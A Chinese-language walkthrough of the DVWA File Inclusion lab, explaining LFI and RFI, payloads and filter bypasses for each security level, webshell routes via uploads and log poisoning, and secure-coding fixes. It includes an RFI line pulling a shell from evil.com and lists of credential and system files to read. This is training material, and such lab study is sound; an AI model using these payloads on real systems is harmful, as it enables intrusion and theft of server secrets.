1. 项目概述:从靶场到实战的文件包含漏洞通关
在安全测试的学习路径上,DVWA(Damn Vulnerable Web Application)是一个绕不开的经典靶场。它把各种常见的Web漏洞,像一个个标准化的实验标本一样封装在可控的环境里,供我们反复练习、拆解。今天要啃下的这块硬骨头,是“File Inclusion”(文件包含漏洞)。别看这个名字听起来有点技术化,它背后的原理和危害,在实际的渗透测试和漏洞挖掘中,可以说是“基础但致命”。简单来说,它就像一个不设防的“文件调用员”,攻击者可以诱骗应用程序去加载并执行本不该被访问的敏感文件,轻则泄露服务器配置,重则直接拿到系统控制权。
我之所以花时间专门梳理DVWA中文件包含漏洞的通关过程,是因为这个漏洞的利用方式非常灵活,从低安全级别到高安全级别,防御机制的演变就像一部微缩的Web安全攻防史。通过手动通关,你不仅能学会怎么“黑进去”,更能深刻理解开发者为什么会写出有漏洞的代码,以及应该如何从代码层面去修复它。这对于想从事安全开发、渗透测试或者只是想提升自己网站安全性的开发者来说,是一次绝佳的动手学习机会。无论你是刚入门的新手,还是想系统回顾基础的老兵,跟着这篇从环境搭建到高级绕过的手记走一遍,都能有实实在在的收获。
2. 漏洞原理深度剖析:为什么程序会“认贼作父”
要利用一个漏洞,首先得吃透它的原理。文件包含漏洞的核心,在于应用程序动态包含文件时,对用户输入的控制不严。
2.1 包含机制的本质:代码复用与动态加载
在PHP中,include、require、include_once、require_once这些语句的设计初衷是为了优秀的代码复用。比如,网站头部导航栏(header)、尾部版权信息(footer)通常被写成独立的文件,然后在每个页面通过include(‘header.php’)来引入,避免重复编码。这是一种“动态加载”的思想,根据运行时的情况来决定加载哪个文件。
问题就出在这个“动态”上。如果加载的文件路径,全部或部分来自于用户可控制的输入(如URL参数、表单数据、Cookie),并且程序没有对这些输入进行严格的过滤和校验,漏洞就产生了。例如,一个页面index.php包含这样一行代码:
<?php include($_GET[‘page’] . ‘.php’); ?>它的本意可能是让用户通过?page=home来访问home.php。但攻击者可以构造?page=../../../../etc/passwd,程序就会傻傻地尝试去包含系统密码文件。
2.2 漏洞的两种主要类型
根据包含的目标文件位置,文件包含漏洞主要分为两类:
本地文件包含(Local File Inclusion, LFI):包含的是服务器本地的文件。就像上面的例子,攻击者通过目录遍历(
../)跳出Web目录,去读取系统敏感文件,如/etc/passwd(Linux用户信息)、/etc/shadow(密码哈希)、C:\Windows\System32\drivers\etc\hosts(Windows主机文件),或是Web应用的配置文件(如config.php,里面常有数据库密码)。远程文件包含(Remote File Inclusion, RFI):这是LFI的“升级版”,危害更大。当PHP的配置选项
allow_url_include设置为On时,include和require函数可以加载远程服务器上的文件。攻击者可以构造?page=http://evil.com/shell.txt,让受害服务器直接去包含攻击者控制的远程服务器上的恶意脚本(通常是一个Webshell),并执行它,从而实现远程代码执行。
注意:在现代PHP版本(>=5.2)及默认配置下,
allow_url_include通常是关闭的,因此RFI的利用条件比LFI苛刻。但在一些老旧系统或特殊配置中仍需警惕。
2.3 DVWA中的典型漏洞场景
在DVWA的File Inclusion模块中,它模拟了一个简单的文件查看功能。页面上可能有几个链接,点击后显示“include1.php”、“include2.php”等文件的内容。查看页面URL,你很可能看到类似?page=file1.php这样的参数。这就是典型的用户输入控制文件路径的场景。我们的通关目标,就是利用这个page参数,从读取预设文件,一步步扩展到读取系统文件,甚至执行代码。
3. DVWA环境准备与关卡设置
工欲善其事,必先利其器。在开始“攻击”之前,我们需要一个稳定、一致的实验环境。
3.1 环境搭建:两种主流方案对比
对于DVWA,我推荐两种搭建方式,各有优劣:
方案一:使用Docker一键部署(推荐给大多数学习者)这是最快、最干净的方式。Docker能保证环境隔离,避免弄乱你的主机系统。
# 拉取DVWA官方镜像 docker pull vulnerables/web-dvwa # 运行容器,将容器的80端口映射到主机的8080端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa执行后,在浏览器访问http://localhost:8080即可。首次访问需要点击页面上的“Create / Reset Database”按钮来初始化数据库。默认登录账号/密码是admin/password。
方案二:传统集成环境安装(如XAMPP、PHPStudy)适合需要深度定制PHP配置或研究环境交互的用户。
- 从DVWA官网(GitHub)下载源码。
- 将解压后的文件夹放入Web服务器根目录(如XAMPP的
htdocs)。 - 复制
config/config.inc.php.dist为config/config.inc.php。 - 根据你的数据库信息修改该配置文件中的连接参数。
- 访问对应URL,同样进行数据库初始化。
实操心得:对于纯粹的学习和通关练习,Docker方案是首选。它避免了因PHP版本、扩展模块不同导致的奇怪问题,让所有人都能站在同一起跑线上。如果你在后续想研究WAF绕过或自定义漏洞代码,则可以考虑本地集成环境,方便修改源码和配置。
3.2 安全等级设置:理解攻防的阶梯
DVWA最精髓的设计之一就是其“安全等级”(Security Level)。它模拟了不同级别的防护措施:
- Low:毫无防护。代码几乎不对用户输入做任何处理,是漏洞最原始的样子。
- Medium:引入了基础的防护。可能使用了
str_replace()等函数尝试过滤危险字符,但往往存在可被绕过的缺陷。 - High:采用了更强的防护。可能使用了白名单、严格的路径校验或编码转换。
- Impossible:代表了从代码层面根本性解决漏洞的方案,通常是输入校验与输出编码的结合。
在左侧菜单栏找到“DVWA Security”并点击,你就可以在下拉框中切换等级。我们的通关之旅,也将沿着这个难度阶梯逐级向上。
4. Low级别通关:漏洞的原始形态与基础利用
将安全等级设置为Low,然后访问“File Inclusion”模块。
4.1 漏洞点定位与测试
页面上通常有三个链接,点击后URL变为类似http://localhost:8080/vulnerabilities/fi/?page=file1.php。很明显,page参数就是我们的攻击入口。
首先,我们测试一下它是否真的存在文件包含漏洞,以及是LFI还是RFI。
- 测试LFI(目录遍历):尝试读取Web目录外的文件。将
page参数改为../../../../etc/passwd。如果页面上显示了Linux系统的用户列表,那么LFI漏洞存在。http://localhost:8080/vulnerabilities/fi/?page=../../../../etc/passwd - 测试RFI:尝试包含一个远程URL。将
page参数改为http://你的IP或域名/test.txt(假设你有一个可公网访问的服务器,上面有个test.txt文件,内容为<?php phpinfo();?>)。如果页面执行了phpinfo(),则RFI漏洞存在且allow_url_include为On。
在Low级别下,LFSI利用几乎必定成功。RFI则取决于你的PHP环境配置。
4.2 关键利用技巧:利用PHP封装协议
除了直接读取文件,PHP内置的多种“封装协议”是文件包含漏洞利用中的“神兵利器”。它们允许我们以各种流的形式访问文件或数据。
php://filter协议(最常用):用于读取文件源码。当直接包含一个.php文件时,服务器会执行它而非显示源码。php://filter可以帮我们“套上一层滤镜”,以Base64编码等形式读取源码,避免执行。?page=php://filter/convert.base64-encode/resource=index.php执行后,页面会显示一串Base64编码的字符串。将其解码,就能得到
index.php的源代码。这对于审计其他漏洞(如数据库配置)至关重要。file://协议:明确指定本地文件系统路径。有时比直接使用相对路径更稳定。?page=file:///etc/passwddata://协议:直接在URL中嵌入数据流。可以用于执行简短的PHP代码,无需远程服务器,是RFI的“替代品”。?page=data://text/plain,<?php phpinfo();?> # 或者使用Base64编码,避免特殊字符问题 ?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
注意事项:
data://协议的有效性也受限于PHP配置(allow_url_include)。但在某些情况下,即使不允许真正的远程包含,data://也可能被允许。
4.3 获取Webshell的实战路径
在Low级别,获取Webshell(网站后门)的思路非常直接:
- 利用文件上传漏洞:如果同一网站存在文件上传漏洞(DVWA中也有此模块),且上传后的文件路径可知,我们可以先上传一个包含Webshell代码的图片马(如
shell.jpg),然后通过文件包含漏洞去包含这个图片文件,从而执行其中的PHP代码。?page=../../hackable/uploads/shell.jpg - 写入日志文件:如果无法上传,可以尝试包含服务器的日志文件(如Apache的
access.log)。我们可以在User-Agent或请求参数中注入PHP代码,然后让服务器将这段代码记录到日志里,最后通过LFI包含这个日志文件来执行代码。这需要知道日志的绝对路径。
Low级别源码分析: 切换到DVWA的“View Source”页面,查看Low级别的代码。你会发现,它仅仅是直接获取$_GET[‘page’]参数,没有任何过滤:
<?php $file = $_GET[‘page’]; // 直接使用用户输入 ?>这就是漏洞的根源。修复方法就是在Medium和High级别中逐步引入。
5. Medium级别通关:初级的防御与绕过
将安全等级切换到Medium,再次尝试Low级别的Payload。
5.1 防御机制分析
你会发现,直接使用../../../../etc/passwd已经失效了。查看Medium级别的源码:
<?php $file = $_GET[‘page’]; // 尝试过滤 “../” 和 “..\” $file = str_replace(array(“../“, “..\”), “”, $file); ?>代码使用了str_replace()函数,将参数中的../和..\替换为空字符串。这是一种非常初级且不安全的黑名单过滤。
5.2 双写绕过技巧
这种过滤逻辑存在经典的双写绕过漏洞。因为str_replace()只执行一次替换。当我们输入..././时,中间的../被删除,剩下的两部分..和./拼接起来,又形成了../。
原输入:..././ 过滤过程:删除中间的 `../` 剩余部分:`..` + `./` = `../`因此,我们的Payload可以构造为:
?page=..././..././..././..././etc/passwd经过一次替换后,它会神奇地变回../../../../etc/passwd,从而成功绕过过滤。
5.3 绝对路径与协议利用
除了双写绕过,我们还可以直接使用绝对路径或之前提到的PHP协议,因为它们不包含../字符串。
?page=file:///etc/passwd ?page=/etc/passwd # 如果知道绝对路径 ?page=php://filter/convert.base64-encode/resource=index.phpdata://协议同样可能生效,因为它也不在黑名单内。
实操心得:Medium级别的防御告诉我们,单纯的黑名单删除是徒劳的。攻击者总有办法找到过滤规则的盲点。安全开发中,白名单策略(只允许已知安全的输入)远比黑名单可靠。
6. High级别通关:强化防御与终极绕过
切换到High级别,你会发现双写绕过和简单的绝对路径可能都失效了。
6.1 防御机制深度解析
查看High级别源码:
<?php $file = $_GET[‘page’]; // 只允许包含 “file” 开头的文件 if (!fnmatch(“file*”, $file) && $file != “include.php”) { echo “ERROR: File not found!”; exit; } ?>这里的防御思路发生了质变:白名单校验。它使用fnmatch()函数检查$file变量是否以file开头。这意味着,我们传入的参数必须是像file1.php、file2.php这样的值,或者是include.php。
6.2 利用文件系统特性绕过白名单
白名单是强大的,但并非无懈可击。这里的关键在于,代码校验的是传入的参数字符串是否以file开头,而不是最终被包含的文件路径是否以file开头。在Linux/Unix文件系统中,存在一个特性:如果一个目录下存在一个名为file1.php的文件,那么file1.php和./file1.php指向的是同一个文件。
我们可以利用这个特性,结合目录遍历:
?page=file1.php/../../../../etc/passwd代码的校验逻辑是:fnmatch(“file*”, “file1.php/../../../../etc/passwd”),这个字符串确实以file开头,所以通过了校验!然后,PHP的include()函数会尝试加载这个路径。在文件系统解析时,file1.php被当作一个目录(虽然它是个文件),然后向上回溯目录,最终定位到/etc/passwd。由于/etc/passwd文件不存在.php后缀,PHP会直接以文本形式输出其内容。
另一种思路:利用file://协议白名单只要求参数字符串以file开头,那么file://协议自然也符合要求。
?page=file:///etc/passwd这个Payload会直接通过校验,因为file:///etc/passwd确实以file开头。
6.3 高级协议利用的局限性
在High级别下,由于白名单限制,php://filter和data://协议无法使用,因为它们的字符串不以file开头。这体现了白名单的有效性——它将可包含的资源范围极大地缩小了。
7. 漏洞修复与安全开发实践
通关Impossible级别,就是学习如何从根本上修复这个漏洞。
7.1 Impossible级别源码赏析
查看Impossible级别的代码,它是安全编程的典范:
<?php $file = $_GET[‘page’]; // 只允许特定的、预设的文件名 switch ($file) { case “file1.php”: case “file2.php”: case “file3.php”: case “include.php”: include($file); break; default: echo “ERROR: File not found!”; exit; } ?>这里采用了严格的白名单机制。$file的值必须完全等于case中列举的四个字符串之一。用户输入被彻底限制在几个已知的安全选项内,任何篡改都会导致失败。这是修复文件包含漏洞最有效、最推荐的方法。
7.2 安全开发准则总结
从DVWA的四级防御中,我们可以提炼出以下安全开发准则:
- 永远不要信任用户输入:这是所有Web安全的基石。所有来自客户端的数据(GET/POST参数、Cookie、Header)都必须视为不可信的。
- 优先使用白名单,而非黑名单:白名单定义“什么是允许的”,黑名单定义“什么是禁止的”。攻击手法千变万化,黑名单永远无法穷尽。白名单将风险控制在最小已知范围。
- 在操作文件时,使用绝对路径+白名单:如果必须动态包含文件,应基于一个固定的基础目录(如
/var/www/html/includes/),然后拼接白名单内的文件名,而不是直接使用用户输入拼接路径。 - 关闭危险配置:在生产环境中,确保PHP的
allow_url_fopen和allow_url_include配置为Off,从根本上杜绝RFI漏洞。 - 最小权限原则:运行Web服务的进程(如www-data用户)应仅拥有访问Web目录所必需的最小权限,避免它能读取
/etc/passwd等关键系统文件。
8. 实战拓展与高级利用思路
在真实的渗透测试中,情况往往比靶场复杂。以下是一些进阶思路:
8.1 路径截断技巧(针对旧版PHP)
在PHP版本小于5.3.4,且magic_quotes_gpc关闭的情况下,可能存在空字节截断漏洞。例如,?page=../../../boot.ini%00,其中的%00(空字节)会告诉PHP字符串在此结束,从而截断后面可能由程序自动添加的后缀(如.php)。但此漏洞在现代PHP环境中已基本绝迹。
8.2 结合其他信息泄露漏洞
单纯的LFI可能只能读文件。但如果能结合其他漏洞,效果会倍增:
- 结合文件上传:如前所述,这是获取Webshell的经典组合拳。
- 结合日志注入:通过包含
/var/log/apache2/access.log或/proc/self/environ(环境变量)等文件,将代码写入其中再包含。 - 读取PHP Session文件:Session文件(如
/tmp/sess_[sessionid])有时会存储序列化的用户数据,可能包含敏感信息甚至可构造的恶意对象,用于反序列化攻击。
8.3 自动化工具辅助测试
对于大型应用,手动测试每个参数效率低下。可以借助工具:
- Burp Suite Intruder:加载包含常见路径遍历(
../../etc/passwd,..\..\windows\win.ini)和PHP协议Payload的字典,对目标参数进行模糊测试。 - 定制化脚本:用Python编写脚本,自动测试不同深度(
../,../../,../../../…)的路径遍历,并识别响应中的特征(如“root:x:0:0”),提高测试效率。
9. 常见问题与排查技巧实录
在实际操作DVWA或类似靶场时,你可能会遇到以下问题:
Q1:访问DVWA页面显示“PHP function allow_url_include is disabled.”?A1:这是RFI利用的前提条件。在DVWA的“Setup”页面可以检查并建议你修改PHP配置。在Docker环境中,你可以进入容器内部修改/etc/php/xxx/apache2/php.ini文件,将allow_url_include和allow_url_fopen设置为On,然后重启Apache服务(service apache2 restart)。但出于安全学习目的,重点掌握LFI和协议利用即可,RFI在现代环境中较少见。
Q2:使用php://filter读取文件时,显示乱码或报错?A2:确保Payload格式正确:php://filter/convert.base64-encode/resource=目标文件路径。得到的输出是一长串Base64编码,需要用Base64解码工具(在线网站或系统命令echo ‘编码字符串’ | base64 -d)进行解码才能看到源码。如果直接显示乱码,说明可能包含二进制数据或编码不对。
Q3:在Medium级别,双写绕过不成功?A3:检查你的Payload格式。确保是..././而不是....//。同时,注意操作系统的路径分隔符,Windows下可能需要尝试..\的变体。最稳妥的方式是直接使用file://协议或绝对路径进行测试。
Q4:包含文件后,页面布局错乱或只显示部分内容?A4:被包含的非PHP文件(如.txt,.ini)内容会被直接输出到HTML流中,如果其中包含<html>,<div>等标签,会破坏原有页面结构。使用浏览器的“查看页面源代码”功能(Ctrl+U),可以清晰地看到被包含文件的完整原始内容。
Q5:如何知道目标系统的敏感文件路径?A5:这依赖于对操作系统的了解和对目标的信息收集。
- Linux/Unix常见路径:
/etc/passwd,/etc/shadow,/etc/hosts,/etc/issue,/proc/version,/proc/self/environ,~/.bash_history, Web日志(/var/log/apache2/access.log,/var/log/nginx/access.log)。 - Windows常见路径:
C:\Windows\System32\drivers\etc\hosts,C:\boot.ini(旧系统),C:\Windows\win.ini,C:\Windows\System32\inetsrv\MetaBase.xml(IIS配置)。 在实战中,可以通过报错信息、技术栈识别(Wappalyzer插件)等方式缩小范围,并进行暴力猜解。